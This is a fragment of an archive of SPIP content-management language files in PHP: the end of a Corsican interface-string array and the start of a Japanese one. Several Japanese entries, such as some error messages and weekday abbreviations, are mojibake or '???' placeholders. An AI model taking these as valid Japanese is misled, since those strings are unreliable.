'texte_crash_base' => 'Sì a vostra basa di dati hè scundisata, pudete puru pruvà una ricuperazione autumàtica.',
'texte_creer_rubrique' => 'Prima di pudè scrive artìculi,<br /> vi tocca à creà una rùbbrica.',
'texte_date_creation_article' => 'DATA DI CREAZIONE DI L’ARTÌCULU :',
'texte_date_creation_objet' => 'Data di creazione :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Data di ùltima scrittura :',
'texte_date_publication_anterieure_nonaffichee' => 'Ùn fà vede a data di ùltima scrittura.',
'texte_date_publication_article' => 'DATA DI PUBBLICAZIONE :',
'texte_date_publication_objet' => 'Data di publicazione in ligna :',
'texte_descriptif_petition' => 'Discrizzione di a petizione',
'texte_descriptif_rapide' => 'Discrizzione corta',
'texte_effacer_base' => 'Sguassà a basa di dati SPIP',
'texte_effacer_donnees_indexation' => 'Sguassà i dati d’indizzazione',
'texte_effacer_statistiques' => 'Sguassà e statìstiche',
'texte_en_cours_validation' => 'L’artìculi è i dispacci quì sottu sò pruposti à a pubblicazione. Date puru u vostru parè usendu i fori chì seguitanu
ogni artìculu o dispacciu.', # MODIF
'texte_enrichir_mise_a_jour' => 'Pudete puru arricchisce a paginatura di u vostru testu usendu l’«accurtatoghji tipugràfichi».',
'texte_fichier_authent' => '<b>Deve SPIP creà i schedari speciali <tt>.htpasswd</tt> è <tt>.htpasswd-admin</tt> in u cartulare @dossier@ ?</b><p>
Sti schedari ponu ghjuvà pè limità l’accessu à l’autori è à l’amministratori in certe parti di u situ (per esempiu, per un prugrammu esternu
di statìstiche).<p> Sè vo ùn ne avete bisognu, lasciate puru u valore predefinitu (nisuna creazione di schedariu).</p>', # MODIF
'texte_informations_personnelles_1' => 'U sistema v’hà da creà un accessu persunale à u situ.',
'texte_informations_personnelles_2' => '(Nota : s’ellu si tratta di ristallazione è chì u vostru accessu viaghja sempre, pudete puru', # MODIF
'texte_introductif_article' => 'Testu d’intruduzzione di l’artìculu',
'texte_jeu_caractere' => 'Hè cunsigliatu d’aduprà pè u vostru situ u santacroce universale (<tt>utf-8</tt>) : permette di vede i testi
in tutte e lingue è ùn pone più prublemi di cumpatibilità cù i navigatori muderni.',
'texte_jeu_caractere_2' => 'Attenti : sta scelta ùn lancia micca a cunversione di i testi digià arregistrati in a basa di dati.',
'texte_jeu_caractere_3' => 'U vostru situ hà attualmente u ghjocu di caràtteri :',
'texte_jeu_caractere_4' => 'S’ella ùn currisponde à a realità di i vostri dati (per esempiu, per via d’una ricuperazione di a basa di dati),
o <em>sè vo smarrate u situ</em> vulendu principià cù un altru ghjocu di caràtteri, rinsignate puru quì stu nuvellu ghjocu :',
'texte_jeu_caractere_conversion' => 'Nota : Pudete puru decide di cunvertisce una volta per tutte tutti i testi di u situ (artìculi, dispacci, fori, ecc.)
in u santacroce <tt>utf-8</tt>, andendu à a <a href="@url@">pàgina di cunversione in utf-8</a>.',
'texte_lien_hypertexte' => '(Sì u vostru messagiu si riferisce à un artìculu pubblicatu nant’à u web, o à una pàgina chì furnisce di più infurmazioni,
rinsignate puru quì u so tìtulu è u so indirizzu URL.)',
'texte_login_ldap_1' => '(Lascià viotu per un accessu anònimu, o inserisce u percorsu sanu sanu, per esempiu «<tt>uid=paoli, ou=users,
dc=u-mo-duminiu, dc=com</tt> ».)',
'texte_login_precaution' => 'Attenti ! Questu hè u login cun chì site cunnessu avà. Aduprate stu furmulariu cù assai cura ...',
'texte_message_edit' => 'Attenti ! Stu messagiu pò esse mudificatu da tutti l’amministratori di u situ, è si pò vede da tutti i scrittori.
Aduprate puru l’annunci solu per sparghje evenimenti impurtanti ina vita di u situ.',
'texte_messagerie_agenda' => 'A messageria permette à i scrittori di u situ di cumunicà frà elli direttamente in u spaziu privatu.
A messageria hè assuciata à un agenda..',
'texte_mise_a_niveau_base_1' => 'Avete aghjurnatu u schedariu SPIP. Vi tocca avà à aghjurnà a basa di dati.',
'texte_modifier_article' => 'Mudificà l’artìculu :',
'texte_moteur_recherche_active' => '<b>Hè attivatu u mutore di ricerca.</b> Aduprà sta cumanda sè vo vulete lancià una rindizzazione veloce (dopu ricuperazione
d’una copia di salvezza, per esempiu). Nota bè : i ducumenti mudificati di manera nurmale (cun l’interfaccia di SPIP) sò rindizzati in
autumàticu. Vale à dì chì sta cumanda hè ùtule solu in casi eccezziunali.',
'texte_moteur_recherche_non_active' => 'Ùn hè attivatu u mutore di ricerca.',
'texte_multilinguisme' => 'Sè vo vulete gestisce artìculi in parechje lingue, con un sistema di navigazione cumplessu, pudete puru aghjunghje un menù
di scelta di lingua in l’artìculi è/o in e rùbbriche, secondu cum’ellu hè strutturatu u vostru situ.', # MODIF
'texte_multilinguisme_trad' => 'Pudete dinù attivà un sistema di gestione di lee frà e diverse traduzzioni d’un artìculu.', # MODIF
'texte_non_compresse' => '<i>micca cumpressu</i> (u vostru servore ùn pussede micca sta funziunalità)',
'texte_nouveau_message' => 'Novu messagiu',
'texte_nouvelle_version_spip_1' => 'Avete stallatu una nova versione di SPIP.',
'texte_nouvelle_version_spip_2' => 'Sta nova versione richere un aghjurnamentu più impurtante chè di règula. Sè vo site u webmaestru di u situ,
sguassate puru u schedariu @connect@ è ripigliate a stallazione di modu d’aghjurnà dinù i vostri paràmetri di cunnessione à a basa di dati.<p>
(NB : sè vo vi site scurdatu di i paràmetri di cunnessione, leghjite torna u schedariu @connect@ prima di sguassà lu ...)</p>', # MODIF
'texte_operation_echec' => 'Turnate puru à a pàgina di prima, sceglite una basa di dati o create ne una nova. Verificate l’infurmazioni furnite da u vostru òspite.',
'texte_plus_trois_car' => 'più di trè caràtteri',
'texte_plusieurs_articles' => 'PArechji autori trovi per "@cherche_auteur@" :',
'texte_port_annuaire' => '(Di règula cunvene U valore predefinitu.)',
'texte_presente_plugin' => 'Sta pàgina dà a lista di i plugins dispunìbuli nant’à u situ. Pudete puru attivà i plugins scelti clicchendu in a casella currispundente.',
'texte_proposer_publication' => 'Compiu l’artìculu,<br /> pudete puru prupone ne a so pubblicazione.',
'texte_proxy' => 'In certi casi (intranet, reti prutette ...), si pò accede à i siti alluntanati (ducumentazione di SPIP, siti sindicati, ecc.) unicamente
frà un <i>proxy HTTP</i>. In stu casu, rinsignate ne puru l’indirizzu, cù u furmatu @proxy_en_cours@. Di règula sta casella hè lasciata viota.',
'texte_publication_articles_post_dates' => 'Cumu si deve cumpurtà SPIP cù l’artìculi chì anu una data di pubblicazione futura ?',
'texte_rappel_selection_champs' => '[Ùn vi scurdate di sceglie bè stu campu]',
'texte_recalcul_page' => 'Sè vo vulete ricaricà una sola pàgina, andate piuttostu in u spaziu pùbblicu è cliccate puru nant’à «ricaricà».',
'texte_recapitiule_liste_documents' => 'Sta pàgina allistineghja i ducumenti chì stanu in e vostre rùbbriche. Per mudificà l’infurmazioni d’ogni ducumentu,
seguitate a lea versu a relativa pàgina di rùbbrica.',
'texte_recuperer_base' => 'Riparà a basa di dati',
'texte_reference_mais_redirige' => 'artìculu riferitu in u vostru situ SPIP, ma cun rindirizzamentu versu un’altra URL.',
'texte_requetes_echouent' => '<b>Quandu certe richieste SQL fiascanu di manera ripetuta è senza tante ragioni, pò accade ch’ella sia colpa di a basa stessa.</b><p>
U vostru servore SQL hè capace di riparà e so tàvule scundisate pè sfurtuna. Pudete tandu pruvà sta riparazione; in casu ch’ella fiaschi,
tenite vi puru una copia di u messagiu chì si vede, è chì cuntene forse preziose infurmazioni...</p><p>
S’ellu ferma u prublemu, cuntattate puru u webmaestru.</p>', # MODIF
'texte_selection_langue_principale' => 'Pudete puru sceglie quì sottu a «lingua predefinita» di u situ. Sta scelta ùn vi forza - ancu di grazia ! -
à scrive l’artìculi in sta lingua, ma permette di definisce :
<ul><li> u furmatu predefinitu di e date nant’à u situ pùbblicu;</li>
<li> a natura di u mutore tipugràficu ch’ellu deve aduprà SPIP per a messa in forma di u testu;</li>
<li> a lingua aduprata in e finestre di diàlogu di u situ pùbblicu;</li>
<li> a lingua predefinita in u spaziu pùbblicu riservatu à l’amministrazione.</li></ul>',
'texte_sous_titre' => 'Sottutìtulu',
'texte_statistiques_visites' => '(aste scure : dumèniche / curva scura : evuluzione di a media)',
'texte_statut_attente_validation' => 'in attesa di cunvalidazione',
'texte_statut_publies' => 'pubblicati in ligna',
'texte_statut_refuses' => 'rifiutati',
'texte_suppression_fichiers' => 'Aduprà sta cumanda per sguassà tutti i schedari presenti in u cache SPIP. Quessa permette per esempiu di furzà
u ricaricamentu di tuttu e pàgine sè vo avete fattu mudìfiche impurtanti nant`à a gràfica o a struttura di u situ.',
'texte_sur_titre' => 'Sottutìtulu',
'texte_table_ok' => ' : sta tàvula hè OK.',
'texte_tables_indexation_vides' => 'Sò viote e tàvule d’indizzazione di u mutore.',
'texte_tentative_recuperation' => 'Prova di riparazione',
'texte_tenter_reparation' => 'Pruvà una riparazione di a basa di dati',
'texte_test_proxy' => 'Per fà una prova di stu proxy, rinsignate quì l’indirizzu di un situ Web da pruvà.',
'texte_titre_02' => 'Tìtulu :',
'texte_titre_obligatoire' => '<b>Tìtulu</b> [Ubbligatoriu]',
'texte_travail_article' => '@nom_auteur_modif@ hà travagliatu nant’à st’artìculu @date_diff@ minuti fà',
'texte_travail_collaboratif' => 'S’ella accade à spessu chì parechji scrittori travaglinu nant’à listessu artìculu, u sistema pò signalà l’artìculi
«aperti» di pocu, di modu ch’elle ùn sianu fatte parechje mudìfiche à listessu tempu. Sta scelta hè predefinita disattivata per ùn
creà micca messagi d’avertimentu in quantità.',
'texte_trop_resultats_auteurs' => 'Troppu risultati per "@cherche_auteur@"; precisate puru a ricerca.',
'texte_unpack' => 'scaricà l’ùltima versione',
'texte_utilisation_moteur_syndiques' => 'Quand’è vo usate u mutore di ricerca integratu di SPIP, pudete fà ricerche nant’à i siti è l’artìculi sindicati
di duie manere sferenti. <br />
- A più sèmplice cunsiste à ricircà solu in i tìtuli è e descrizzioni di l’artìculi.<br />
- Un altru mètudu, assai più putente, permette à SPIP di ricercà ancu dentr’à u testu di l’artìculi riferiti.
Sè vo riferite un situ, SPIP ferà a ricerca propriu in u testu di stu situ.',
'texte_utilisation_moteur_syndiques_2' => 'Stu mètudu forza SPIP à visità di manera regulare i siti riferiti, ciò chì puderà allentà appena di u vostru situ.',
'texte_vide' => 'viotu',
'texte_vider_cache' => 'Sviutà u cache',
'titre_admin_effacer' => 'Mantenimentu tècnicu',
'titre_admin_tech' => 'Mantenimentu tècnicu',
'titre_admin_vider' => 'Mantenimentu tècnicu',
'titre_ajouter_un_auteur' => 'Aghjunghje un autore',
'titre_ajouter_une_rubrique' => 'Aghjunghje una rùbrica',
'titre_cadre_afficher_article' => 'Vede l’artìculi',
'titre_cadre_afficher_traductions' => 'Vede u statu di e traduzzioni per e seguenti lingue :',
'titre_cadre_ajouter_auteur' => 'AGHJUNGHJE UN AUTORE : ',
'titre_cadre_interieur_rubrique' => 'Dentr’à a rùbbrica',
'titre_cadre_numero_auteur' => 'AUTORE NÙMERU',
'titre_cadre_numero_objet' => '@objet@ nùmeru :',
'titre_cadre_signature_obligatoire' => '<b>Zifra</b> [Ubbligatoria]<br />',
'titre_config_contenu_notifications' => 'Nutìfiche',
'titre_config_contenu_prive' => 'In u spaziu privatu',
'titre_config_contenu_public' => 'Nant’à u situ pùbblicu',
'titre_config_fonctions' => 'Cunfigurazione di u situ',
'titre_config_langage' => 'Cunfigurà a lingua',
'titre_configuration' => 'Cunfigurazione di u situ',
'titre_configurer_preferences' => 'Cunfigurà e vostre preferenze',
'titre_conflit_edition' => 'Cunflittu à tempu à l’edizione',
'titre_connexion_ldap' => 'Opzioni : <b>A vostra cunnessione LDAP</b>',
'titre_groupe_mots' => 'GRUPPU DI PARULLE :',
'titre_langue_article' => 'Lingua di l’artìculu',
'titre_langue_rubrique' => 'Lingua di a rùbbrica',
'titre_langue_trad_article' => 'LINGUA È TRADUZZIONI DI L’ARTÌCULU',
'titre_les_articles' => 'L’ARTÌCULI',
'titre_messagerie_agenda' => 'Messageria è agenda',
'titre_naviguer_dans_le_site' => 'Navigà in u situ ...',
'titre_nouvelle_rubrique' => 'Nuvella rùbbrica',
'titre_numero_rubrique' => 'RÙBBRICA NÙMERU :',
'titre_page_admin_effacer' => 'Mantenimentu tècnicu : sguassà a basa di dati',
'titre_page_articles_edit' => 'Mudificà : @titre@',
'titre_page_articles_page' => 'L’artìculi',
'titre_page_articles_tous' => 'U situ sanu',
'titre_page_auteurs' => 'Visitori',
'titre_page_calendrier' => 'Almanaccu @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Cunfigurazione di u situ',
'titre_page_config_fonctions' => 'Configurazione di u situ',
'titre_page_configuration' => 'Cunfigurazione u situ',
'titre_page_controle_petition' => 'Guardia di e petizioni',
'titre_page_delete_all' => 'sguassamentu tutale senza ritornu',
'titre_page_documents_liste' => 'I ducumenti di e rùbbriche',
'titre_page_index' => 'U vostru spaziu privatu',
'titre_page_message_edit' => 'Scrive un messagiu',
'titre_page_messagerie' => 'I vostri messagi',
'titre_page_recherche' => 'Risultati di a ricerca @recherche@',
'titre_page_statistiques_referers' => 'Statìstiche (lee versu u vostru situ)',
'titre_page_statistiques_signatures_jour' => 'Nùmeru di zifre à u ghjornu',
'titre_page_statistiques_signatures_mois' => 'Nùmeru di zifre à u mese',
'titre_page_upgrade' => 'Aghjurnamentu di SPIP',
'titre_publication_articles_post_dates' => 'Pubblicazione di l’artìculi postdatati',
'titre_referencer_site' => 'Riferisce u situ :',
'titre_rendez_vous' => 'APPUNTAMENTU :',
'titre_reparation' => 'Riparazione',
'titre_suivi_petition' => 'Guardia di e petizioni',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Ùn esiste artìculu cù stu nùmeru.',
'trad_article_traduction' => 'Tutte e versioni di st’artìculu :',
'trad_deja_traduit' => 'Errore : Ùn hè micca pussìbule d’alleà st’artìculu à u nùmeru dumandatu.',
'trad_delier' => 'Ùn alleà più st’artìculu à e so traduzzioni', # MODIF
'trad_lier' => 'St’artìculu hè una traduzzione di l’artìculu nùmeru :',
'trad_new' => 'Scrive una nova traduzzione di l’artìculu', # MODIF
// U
'upload_info_mode_document' => 'Mette st’imàgine in u portafogliu',
'upload_info_mode_image' => 'Caccià st’imàgine da u portafogliu',
'utf8_convert_attendez' => 'Aspettate dui minuti è ricaricate puru sta pàgina.',
'utf8_convert_avertissement' => 'V’appruntate à cunvertisce u cuntenutu di a vostra basa di dati (artìculi, dispacci, ecc.) da u ghjocu di caràtteri
<b>@orig@</b> à u chjocu di caràtteri <b>@charset@</b>.',
'utf8_convert_backup' => 'Ùn vi scurdate micca di fà una copia di salvezza di u situ sanu sanu capunanzu. Inoltre vi tuccherà à verificà chì i vostri mudelli
è schedari di lingua rispettanu @charset@.',
'utf8_convert_erreur_deja' => 'U vostru situ hè digià in @charset@, ùn ghjova à nunda di cunvertisce lu...',
'utf8_convert_erreur_orig' => 'Errore : u ghjocu di caràtteri @charset@ ùn hè presente.',
'utf8_convert_termine' => 'Hè finita !',
'utf8_convert_timeout' => '<b>Impurtante :</b> in casu di <i>timeout</i> di u servore, ricaricate puru a pàgina finch’ella vi dessi u messagiu
« Hè finita ».',
'utf8_convert_verifier' => 'Avà vi tocca à andà à sviutà u cache, è verificà chì tuttu viaghji bè nant’à e pàgine pùbbliche di u situ.
In casu di prublemi maiò, hè stata fatta una copia di i vostri dati (in furmatu SQL) in u cartulare @rep@.',
'utf8_convertir_votre_site' => 'Cunvertisce u situ in UTF-8',
// V
'version' => 'Versione :'
);
?>
spip_ja.php 0000666 00000113622 15252547432 0006724 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-ja',
'0_langue' => '日本語 [ja]',
'0_liste' => 'HU(hu_renraku@yahoo.co.jp), spip-ja@rezo.net',
'0_mainteneur' => 'HU(hu_renraku@yahoo.co.jp), spip-dev@rezo.net',
// A
'access_interface_graphique' => '完全なグラフィカルインターフェースに戻る',
'access_mode_texte' => 'シンプルなテキストインターフェースで表示',
'admin_debug' => 'デバッグ',
'admin_modifier_article' => 'この記事を修正',
'admin_modifier_auteur' => 'この著者を修正',
'admin_modifier_breve' => 'このニュースを修正',
'admin_modifier_mot' => 'このキーワードを修正',
'admin_modifier_rubrique' => 'このセクションを修正',
'admin_recalculer' => 'ページの再読み込み',
'afficher_trad' => '???????',
'alerte_maj_impossible' => '<b>警告</b> My SQLは、データベースを@version@ にアップデート出来ませんでした。 データベースのアクセス権に問題があると思われます。インターネットサービスプロバイダにお問い合わせください。', # MODIF
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'XML解析',
'antispam_champ_vide' => '??????????????????',
'articles_recents' => 'もっとも新しい記事',
'avis_archive_incorrect' => 'その圧縮ファイルは、SPIP用ファイルではありません。',
'avis_archive_invalide' => 'その圧縮ファイルは無効です。',
'avis_attention' => '危ない！',
'avis_champ_incorrect_type_objet' => 'タイプ @type@ のオブジェクトに対して、フィールド名 @name@ が無効です。',
'avis_colonne_inexistante' => 'カラム @col@ が存在しません。',
'avis_erreur' => 'エラー: 下記を参照',
'avis_erreur_connexion' => '接続エラーです。',
'avis_erreur_cookie' => 'クッキーの問題',
'avis_erreur_fonction_contexte' => 'プログラミングエラーです。この機能はこの前後関係で呼び出されるべきではありません。', # MODIF
'avis_erreur_mysql' => 'SQLのエラーです。', # MODIF
'avis_erreur_sauvegarde' => 'バックアップエラーです (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'ƒvƒ‰ƒCƒx[ƒgƒXƒy[ƒXƒAƒNƒZƒX‚ÌۂɃGƒ‰[‚ª¶‚µ‚Ü‚µ‚½',
// B
'barre_a_accent_grave' => 'アクセント記号つきの大文字Aを挿入してください。',
'barre_aide' => 'よりよいページのレイアウトために、活字のショートカットを利用する。',
'barre_e_accent_aigu' => '鋭いアクセントで大文字Eを挿入してください',
'barre_eo' => 'OとEの合字の挿入(訳注:主にフランス語で使用)',
'barre_eo_maj' => 'OとEの合字の大文字を挿入(訳注:主にフランス語で使用)',
'barre_euro' => '「€」記号を入れてください。',
'barre_gras' => '太字にする {{ボールド}}',
'barre_guillemets' => '"２重引用符"の間の場所',
'barre_guillemets_simples' => '’一重引用符’の間の場所',
'barre_intertitre' => '変える {{{subheading}}}',
'barre_italic' => '{イタリック} にする',
'barre_lien' => 'ハイパーリンクの差込 [リンク先->http://...]',
'barre_lien_input' => 'あなたのハイパーリンクの目標を入力してください (あなたはフォームのURLにhttp://mysite.com、あるいは単純にこのサイトの記事番号を与えてもよいです)。',
'barre_note' => '変える [[Footnote]]',
'barre_quote' => '<quote>メッセージへ引用符</quote>',
'bouton_changer' => '修正する',
'bouton_chercher' => '検索',
'bouton_choisir' => '選択',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => '保存',
'bouton_radio_desactiver_messagerie_interne' => '内部のメッセージ交換を停止',
'bouton_radio_envoi_annonces' => '編集の発表を送る',
'bouton_radio_non_envoi_annonces' => '発表を送らない',
'bouton_radio_non_envoi_liste_nouveautes' => '最新ニュースリストを送らない',
'bouton_recharger_page' => 'ページの再読み込み',
'bouton_telecharger' => 'アップロード',
'bouton_upload' => 'アップロード', # MODIF
'bouton_valider' => '確定',
// C
'cal_apresmidi' => '午後 (p.m.)',
'cal_jour_entier' => '全部の日',
'cal_matin' => '午前 (a.m.)',
'cal_par_jour' => '日めくりカレンダー',
'cal_par_mois' => '月めくりカレンダー',
'cal_par_semaine' => '週めくりカレンダー',
'choix_couleur_interface' => '?',
'choix_interface' => '??????????',
'colonne' => '—',
'confirm_changer_statut' => '承認を必要とします: あなたはこの記事のステータスの変更を要求しました。このまま続けてもいいですか？',
'correcte' => '正しい',
// D
'date_aujourdhui' => '今日',
'date_avant_jc' => 'B.C.',
'date_dans' => 'in @delai@',
'date_de_mois_1' => '@nommois@月@j@日',
'date_de_mois_10' => '@nommois@月@j@日',
'date_de_mois_11' => '@nommois@月@j@日',
'date_de_mois_12' => '@nommois@月@j@日',
'date_de_mois_2' => '@nommois@月@j@日',
'date_de_mois_3' => '@nommois@月@j@日',
'date_de_mois_4' => '@nommois@月@j@日',
'date_de_mois_5' => '@nommois@月@j@日',
'date_de_mois_6' => '@nommois@月@j@日',
'date_de_mois_7' => '@nommois@月@j@日',
'date_de_mois_8' => '@nommois@月@j@日',
'date_de_mois_9' => '@nommois@月@j@日',
'date_demain' => '明日',
'date_fmt_heures_minutes' => '@h@時@m@分',
'date_fmt_jour_heure' => '@jour@の@heure@',
'date_fmt_jour_mois' => '@nommois@月@jour@日',
'date_fmt_jour_mois_annee' => '@annee@年@nommois@月@jour@日',
'date_fmt_mois_annee' => '@annee@年@nommois@月',
'date_fmt_nomjour_date' => '@date@@nomjour@',
'date_heures' => '時間',
'date_hier' => '昨日',
'date_il_y_a' => '@delai@前',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => '日曜日',
'date_jour_1_abbr' => '???',
'date_jour_1_initiale' => '?',
'date_jour_2' => '月曜日',
'date_jour_2_abbr' => '??',
'date_jour_2_initiale' => 'ŒŽ',
'date_jour_3' => '火曜日',
'date_jour_3_abbr' => '‰Î',
'date_jour_3_initiale' => '‰Î',
'date_jour_4' => '水曜日',
'date_jour_4_abbr' => '…',
'date_jour_4_initiale' => '…',
'date_jour_5' => '木曜日',
'date_jour_5_abbr' => '–Ø',
'date_jour_5_initiale' => '–Ø',
'date_jour_6' => '金曜日',
'date_jour_6_abbr' => '??',
'date_jour_6_initiale' => '?',
'date_jour_7' => '土曜日',
'date_jour_7_abbr' => 'y',
'date_jour_7_initiale' => 'y',
'date_jours' => '日',
'date_minutes' => '分',
'date_mois' => 'ヶ月',
'date_mois_1' => '1',
'date_mois_10' => '10',
'date_mois_11' => '11',
'date_mois_12' => '12',
'date_mois_2' => '2',
'date_mois_3' => '3',
'date_mois_4' => '4',
'date_mois_5' => '5',
'date_mois_6' => '6',
'date_mois_7' => '7',
'date_mois_8' => '8',
'date_mois_9' => '9',
'date_saison_1' => '冬',
'date_saison_2' => '春',
'date_saison_3' => '夏',
'date_saison_4' => '秋',
'date_secondes' => '秒',
'date_semaines' => '週',
'date_un_mois' => '月',
'date_une_heure' => '時間',
'date_une_minute' => '分',
'date_une_semaine' => '週間',
'dirs_commencer' => ' 本当にインストールを始めるために',
'dirs_preliminaire' => '下準備: <b>アクセス権限を設定</b>',
'dirs_probleme_droits' => '????????',
'dirs_repertoires_absents' => '<b>次のディレクトリは見つかりませんでした: <ul>@bad_dirs@.</ul> </b>
<p>考えられる原因は小文字大文字の扱い方が間違っている
これらのディレクトリの小文字大文字が上に表示されているものと一致しているかどうか確認してください
そし彼らがそうしないときは、エラーを修正するためにあなたのFTPクライアントを使って、ディレクトリをリネームして下さい。
</p><p>これらが終われば、出来るでしょう</p>', # MODIF
'dirs_repertoires_suivants' => '<b>次のディレクトリに書き込む許可がありません: <ul>@bad_dirs@.</ul> </b>
<p>これを変えるために、あなたのFTPクライアントを使い、これらのディレクトリにアクセス許可を設定してください
手順はインストールガイドに記述してあります
</p><p>この操作を完了できれば、出来ることでしょう </p>', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'envoi_via_le_site' => 'サイト経由で送信',
'erreur' => 'ƒGƒ‰[',
// F
'fichier_introuvable' => '見つからなかったファイル: @fichier@',
'form_deja_inscrit' => 'あなたは既に登録されています。',
'form_email_non_valide' => 'あなたのe-mailアドレスは有効ではありません。',
'form_forum_access_refuse' => 'あなたはもう、このサイトへアクセスすることができません。',
'form_forum_bonjour' => '素晴らしい日を @nom@、',
'form_forum_email_deja_enregistre' => 'このe-mailアドレスは登録済みです、従って、あなたはいつものパスワードを使うことが出来ます。',
'form_forum_identifiant_mail' => 'あなたの新しいIDは、ちょうど今、e-mailであなたに送られたところです。',
'form_forum_identifiants' => '個人ID',
'form_forum_indiquer_nom_email' => 'あなたの名前とe-mailアドレスをここに入力して下さい。まもなくe-mailによって、IDを受け取ることでしょう。',
'form_forum_login' => 'ログインID:',
'form_forum_message_auto' => '(これは自動送信されたメッセージです)',
'form_forum_pass' => 'パスワード:',
'form_forum_probleme_mail' => 'メール送信中の障害: IDを送ることが、出来ませんでした。',
'form_forum_voici1' => 'ここにサイトでの生活に参加するための、あなたのIDがあります
"@nom_site_spip@" (@adresse_site@):', # MODIF
'form_forum_voici2' => '記事を提出するためのあなたのIDです。
サイト "@nom_site_spip@" (@adresse_login@):', # MODIF
'form_indiquer_email' => 'あなたのe-mailアドレスを入力して下さい。',
'form_indiquer_nom' => 'あなたの名前を入力して下さい。',
'form_indiquer_nom_site' => 'あなたのサイトの名前を入力して下さい。',
'form_pet_deja_enregistre' => 'このサイトは既に登録済みです',
'form_pet_signature_pasprise' => 'あなたの署名は無視されました。',
'form_prop_confirmer_envoi' => '発送を確認',
'form_prop_description' => '種類/コメント',
'form_prop_enregistre' => 'あなたの提案は記録されました、管理者によって適正検査された後オンラインに現れるでしょう。',
'form_prop_envoyer' => 'メッセージを送る',
'form_prop_indiquer_email' => 'どうか有効なe-mailアドレスを入力して下さい',
'form_prop_indiquer_nom_site' => 'サイトの名前を入力して下さい。',
'form_prop_indiquer_sujet' => '題名を入力して下さい',
'form_prop_message_envoye' => '送られたメッセージ',
'form_prop_non_enregistre' => 'あなたの提案は記録されませんでした。',
'form_prop_sujet' => '題名',
'form_prop_url_site' => 'サイトのURL', # MODIF
'forum_non_inscrit' => 'あなたが未登録なのか、アドレスかパスワードが間違っているのかどちらかです。',
'forum_par_auteur' => 'by @auteur@',
'forum_titre_erreur' => 'エラー...',
// I
'ical_texte_rss_articles' => 'サイトの記事のbackendファイルのアドレスは:',
'ical_texte_rss_articles2' => 'また、あなたはサイトのそれぞれのセクションの記事のためのbackendファイルを取得することが出来る:',
'ical_texte_rss_breves' => 'さらに、サイトのニュース記事を含んでいるファイルがあります。セクション番号を選択することによって、あなたはそのセクションのニュースだけ取得できました。',
'icone_a_suivre' => 'パッドを起動',
'icone_admin_site' => 'サイトの管理',
'icone_agenda' => '日記',
'icone_aide_ligne' => 'ヘルプ',
'icone_articles' => '記事',
'icone_auteurs' => '著者たち',
'icone_brouteur' => '素早いブラウジング',
'icone_configuration_site' => '設定',
'icone_configurer_site' => 'あなたのサイトの設定',
'icone_creer_nouvel_auteur' => '新しい著者を作る',
'icone_creer_rubrique' => 'セクションを作る',
'icone_creer_sous_rubrique' => 'サブセクションを作る',
'icone_deconnecter' => '切断',
'icone_discussions' => '議論',
'icone_doc_rubrique' => '添付しているドキュメント',
'icone_ecrire_article' => '新しい記事を書く',
'icone_edition_site' => 'サイトの編集',
'icone_gestion_langues' => '言語管理',
'icone_informations_personnelles' => '個人情報',
'icone_interface_complet' => '完全なインターフェース',
'icone_interface_simple' => 'シンプルなインターフェース',
'icone_maintenance_site' => 'サイトメンテナンス',
'icone_messagerie_personnelle' => '個人的なメッセージ交換',
'icone_repartition_debut' => '初めからのディストリビューションを表示',
'icone_rubriques' => 'セクション',
'icone_sauver_site' => 'サイトのバックアップ',
'icone_site_entier' => 'サイトの全体',
'icone_sites_references' => '参照されたサイト',
'icone_statistiques' => 'サイトの統計',
'icone_suivi_activite' => 'サイトの活動の手助け',
'icone_suivi_actualite' => 'サイトの統計',
'icone_suivi_pettions' => '署名の把握、管理',
'icone_suivi_revisions' => '記事修正',
'icone_supprimer_document' => 'このドキュメントを削除',
'icone_supprimer_image' => 'この画像を削除',
'icone_tous_articles' => 'あなたのすべての記事',
'icone_tous_auteur' => 'すべての著者たち',
'icone_visiter_site' => 'サイトを訪れる', # MODIF
'icone_voir_en_ligne' => 'オンラインで見る',
'img_indisponible' => '利用できないイメージ',
'impossible' => '不可能',
'info_a_suivre' => 'PADを起動»',
'info_acces_interdit' => 'アクセスが許されなかった',
'info_acces_refuse' => 'アクセスが拒否された',
'info_action' => 'アクション: @action@',
'info_administrer_rubriques' => 'あなたはこのセクションとサブセクションを管理することができます',
'info_adresse_non_indiquee' => 'あなたはテストをするためのアドレスを指定しませんでした!',
'info_aide' => 'ヘルプ：',
'info_ajouter_mot' => 'このキーワードを追加する',
'info_annonce' => 'アナウンス',
'info_annonces_generales' => '一般アナウンス:',
'info_article_propose' => '提出済みの記事',
'info_article_publie' => '掲げれた記事',
'info_article_redaction' => '進行中の記事',
'info_article_refuse' => '断れた記事',
'info_article_supprime' => '消した記事',
'info_articles' => '記事',
'info_articles_a_valider' => '検査済み記事',
'info_articles_proposes' => '提出された記事',
'info_auteurs_nombre' => '著者(たち):',
'info_authentification_ftp' => '認証 (FTPによって)。',
'info_breves_2' => 'ニュース',
'info_connexion_refusee' => '接続が拒否された',
